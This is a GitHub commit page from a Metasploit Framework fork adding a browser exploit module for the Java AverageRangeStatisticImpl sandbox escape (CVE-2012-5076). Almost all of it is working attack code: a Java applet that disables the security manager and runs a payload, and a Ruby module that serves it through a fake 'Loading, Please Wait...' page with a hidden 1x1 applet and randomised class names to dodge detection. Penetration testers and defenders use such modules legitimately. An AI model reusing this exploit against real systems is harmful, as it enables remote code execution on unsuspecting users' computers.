GeezerVison is showing github.com — Merge branch 'java_jre17_glassfish_averagerangestatisticimpl' of http… · linux86/metasploit-framework@807bd6e
File treeExpand file treeCollapse file tree Open diff view settings data/exploits/cve-2012-5076_2 external/source/exploits/cve-2012-5076_2 modules/exploits/multi/browser
Expand file treeCollapse file tree Open diff view settings Collapse file Copy file name to clipboard Collapse file Copy file name to clipboard Collapse file Copy file name to clipboard +19Lines changed: 19 additions & 0 deletions | Original file line number | Diff line number | Diff line change |
|---|
| | 1 | +import java.security.AccessController; | | 2 | +import java.security.PrivilegedExceptionAction; | | 3 | + | | 4 | +public class B | | 5 | + implements PrivilegedExceptionAction | | 6 | +{ | | 7 | + public B() | | 8 | + { | | 9 | + try | | 10 | + { | | 11 | + AccessController.doPrivileged(this); } catch (Exception e) { | | 12 | + } | | 13 | + } | | 14 | + | | 15 | + public Object run() { | | 16 | + System.setSecurityManager(null); | | 17 | + return new Object(); | | 18 | + } | | 19 | +} |
Collapse file Copy file name to clipboard +78Lines changed: 78 additions & 0 deletions | Original file line number | Diff line number | Diff line change |
|---|
| | 1 | +import java.io.ByteArrayOutputStream; | | 2 | +import java.io.IOException; | | 3 | +import java.io.InputStream; | | 4 | +import java.io.ObjectInputStream; | | 5 | +import java.io.ObjectOutputStream; | | 6 | +import metasploit.Payload; | | 7 | +//import java.lang.Runtime; | | 8 | +import java.applet.Applet; | | 9 | +import java.lang.invoke.MethodHandle; | | 10 | +import java.lang.invoke.MethodHandles; | | 11 | +import java.lang.invoke.MethodType; | | 12 | +import java.lang.reflect.Method; | | 13 | +import com.sun.org.glassfish.external.statistics.impl.*; | | 14 | + | | 15 | +public class Exploit extends Applet | | 16 | +{ | | 17 | + public static MethodHandles.Lookup test0; | | 18 | + | | 19 | + public Exploit() | | 20 | + { | | 21 | + } | | 22 | + | | 23 | + | | 24 | + public void init() | | 25 | + { | | 26 | + try | | 27 | + { | | 28 | + | | 29 | + ByteArrayOutputStream bos = new ByteArrayOutputStream(); | | 30 | + byte[] buffer = new byte[8192]; | | 31 | + int length; | | 32 | + | | 33 | + // read in the class file from the jar | | 34 | + InputStream is = getClass().getResourceAsStream("B.class"); | | 35 | + // and write it out to the byte array stream | | 36 | + while( ( length = is.read( buffer ) ) > 0 ) | | 37 | + bos.write( buffer, 0, length ); | | 38 | + // convert it to a simple byte array | | 39 | + buffer = bos.toByteArray(); | | 40 | + | | 41 | + Class c = Class.forName("java.lang.invoke.MethodHandles"); | | 42 | + Method m = c.getMethod("lookup", new Class[0]); | | 43 | + AverageRangeStatisticImpl Avrg = new AverageRangeStatisticImpl(0,0,0,"","","",0,0); | | 44 | + MethodHandles.Lookup test = (MethodHandles.Lookup)Avrg.invoke(null, m, new Object[0]); | | 45 | + | | 46 | + MethodType localMethodType0 = MethodType.methodType(Class.class, String.class); | | 47 | + MethodHandle localMethodHandle0 = test.findStatic(Class.class, "forName", localMethodType0); | | 48 | + Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.Context" }); | | 49 | + Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.GeneratedClassLoader" }); | | 50 | + | | 51 | + // Instance of sun.org.mozilla.javascript.internal.Context | | 52 | + MethodType localMethodType1 = MethodType.methodType(Void.TYPE); | | 53 | + MethodHandle localMethodHandle1 = test.findConstructor(localClass1, localMethodType1); | | 54 | + Object localObject1 = localMethodHandle1.invokeWithArguments(new Object[0]); | | 55 | + | | 56 | + // Context.createClassLoader | | 57 | + MethodType localMethodType2 = MethodType.methodType(localClass2, ClassLoader.class); | | 58 | + MethodHandle localMethodHandle2 = test.findVirtual(localClass1, "createClassLoader", localMethodType2); | | 59 | + Object localObject2 = localMethodHandle2.invokeWithArguments(new Object[] { localObject1, null }); | | 60 | + | | 61 | + // GeneratedClassLoader.defineClass | | 62 | + MethodType localMethodType3 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class }); | | 63 | + MethodHandle localMethodHandle3 = test.findVirtual(localClass2, "defineClass", localMethodType3); | | 64 | + Class localClass3 = (Class)localMethodHandle3.invokeWithArguments(new Object[] { localObject2, null, buffer }); | | 65 | + | | 66 | + //New instance of the helper Class | | 67 | + localClass3.newInstance(); | | 68 | + | | 69 | + Payload.main(null); | | 70 | + //Runtime.getRuntime().exec("calc.exe"); | | 71 | + } | | 72 | + catch(Throwable ex) | | 73 | + { | | 74 | + //ex.printStackTrace(); | | 75 | + } | | 76 | + } | | 77 | + | | 78 | +} |
Collapse file Copy file name to clipboard +18Lines changed: 18 additions & 0 deletions | Original file line number | Diff line number | Diff line change |
|---|
| | 1 | +# rt.jar must be in the classpath! | | 2 | + | | 3 | +CLASSES = \ | | 4 | + Exploit.java \ | | 5 | + B.java | | 6 | + | | 7 | +.SUFFIXES: .java .class | | 8 | +.java.class: | | 9 | + javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java | | 10 | + | | 11 | +all: $(CLASSES:.java=.class) | | 12 | + | | 13 | +install: | | 14 | + mv Exploit.class ../../../../data/exploits/cve-2013-0422/ | | 15 | + mv B.class ../../../../data/exploits/cve-2013-0422/ | | 16 | + | | 17 | +clean: | | 18 | + rm -rf *.class |
Collapse file Copy file name to clipboard +132Lines changed: 132 additions & 0 deletions | Original file line number | Diff line number | Diff line change |
|---|
| | 1 | +## | | 2 | +# This file is part of the Metasploit Framework and may be subject to | | 3 | +# redistribution and commercial restrictions. Please see the Metasploit | | 4 | +# web site for more information on licensing and terms of use. | | 5 | +# http://metasploit.com/ | | 6 | +## | | 7 | + | | 8 | +require 'msf/core' | | 9 | +require 'rex' | | 10 | + | | 11 | +class Metasploit3 < Msf::Exploit::Remote | | 12 | + Rank = ExcellentRanking | | 13 | + | | 14 | + include Msf::Exploit::Remote::HttpServer::HTML | | 15 | + include Msf::Exploit::EXE | | 16 | + | | 17 | + include Msf::Exploit::Remote::BrowserAutopwn | | 18 | + autopwn_info({ :javascript => false }) | | 19 | + | | 20 | + def initialize( info = {} ) | | 21 | + | | 22 | + super( update_info( info, | | 23 | + 'Name' => 'Java Applet AverageRangeStatisticImpl Remote Code Execution', | | 24 | + 'Description' => %q{ | | 25 | + This module abuses the AverageRangeStatisticImpl from a Java Applet to run | | 26 | + arbitrary Java code outside of the sandbox, a different exploit vector than the one | | 27 | + exploited in the wild in November of 2012. The vulnerability affects Java version | | 28 | + 7u7 and earlier. | | 29 | + }, | | 30 | + 'License' => MSF_LICENSE, | | 31 | + 'Author' => | | 32 | + [ | | 33 | + 'Unknown', # Vulnerability discovery at security-explorations | | 34 | + 'juan vazquez' # Metasploit module | | 35 | + ], | | 36 | + 'References' => | | 37 | + [ | | 38 | + [ 'CVE', '2012-5076' ], | | 39 | + [ 'OSVDB', '86363' ], | | 40 | + [ 'BID', '56054' ], | | 41 | + [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ], | | 42 | + [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-5076' ], | | 43 | + [ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ] | | 44 | + ], | | 45 | + 'Platform' => [ 'java', 'win', 'osx', 'linux' ], | | 46 | + 'Payload' => { 'Space' => 20480, 'DisableNops' => true }, | | 47 | + 'Targets' => | | 48 | + [ | | 49 | + [ 'Generic (Java Payload)', | | 50 | + { | | 51 | + 'Platform' => ['java'], | | 52 | + 'Arch' => ARCH_JAVA, | | 53 | + } | | 54 | + ], | | 55 | + [ 'Windows x86 (Native Payload)', | | 56 | + { | | 57 | + 'Platform' => 'win', | | 58 | + 'Arch' => ARCH_X86, | | 59 | + } | | 60 | + ], | | 61 | + [ 'Mac OS X x86 (Native Payload)', | | 62 | + { | | 63 | + 'Platform' => 'osx', | | 64 | + 'Arch' => ARCH_X86, | | 65 | + } | | 66 | + ], | | 67 | + [ 'Linux x86 (Native Payload)', | | 68 | + { | | 69 | + 'Platform' => 'linux', | | 70 | + 'Arch' => ARCH_X86, | | 71 | + } | | 72 | + ], | | 73 | + ], | | 74 | + 'DefaultTarget' => 0, | | 75 | + 'DisclosureDate' => 'Oct 16 2012' | | 76 | + )) | | 77 | + end | | 78 | + | | 79 | + | | 80 | + def setup | | 81 | + path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5076_2", "Exploit.class") | | 82 | + @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } | | 83 | + path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5076_2", "B.class") | | 84 | + @loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } | | 85 | + | | 86 | + @exploit_class_name = rand_text_alpha("Exploit".length) | | 87 | + @exploit_class.gsub!("Exploit", @exploit_class_name) | | 88 | + super | | 89 | + end | | 90 | + | | 91 | + def on_request_uri(cli, request) | | 92 | + print_status("handling request for #{request.uri}") | | 93 | + | | 94 | + case request.uri | | 95 | + when /\.jar$/i | | 96 | + jar = payload.encoded_jar | | 97 | + jar.add_file("#{@exploit_class_name}.class", @exploit_class) | | 98 | + jar.add_file("B.class", @loader_class) | | 99 | + metasploit_str = rand_text_alpha("metasploit".length) | | 100 | + payload_str = rand_text_alpha("payload".length) | | 101 | + jar.entries.each { |entry| | | 102 | + entry.name.gsub!("metasploit", metasploit_str) | | 103 | + entry.name.gsub!("Payload", payload_str) | | 104 | + entry.data = entry.data.gsub("metasploit", metasploit_str) | | 105 | + entry.data = entry.data.gsub("Payload", payload_str) | | 106 | + } | | 107 | + jar.build_manifest | | 108 | + | | 109 | + send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) | | 110 | + when /\/$/ | | 111 | + payload = regenerate_payload(cli) | | 112 | + if not payload | | 113 | + print_error("Failed to generate the payload.") | | 114 | + send_not_found(cli) | | 115 | + return | | 116 | + end | | 117 | + send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) | | 118 | + else | | 119 | + send_redirect(cli, get_resource() + '/', '') | | 120 | + end | | 121 | + | | 122 | + end | | 123 | + | | 124 | + def generate_html | | 125 | + html = %Q|<html><head><title>Loading, Please Wait...</title></head>| | | 126 | + html += %Q|<body><center><p>Loading, Please Wait...</p></center>| | | 127 | + html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">| | | 128 | + html += %Q|</applet></body></html>| | | 129 | + return html | | 130 | + end | | 131 | + | | 132 | +end |
|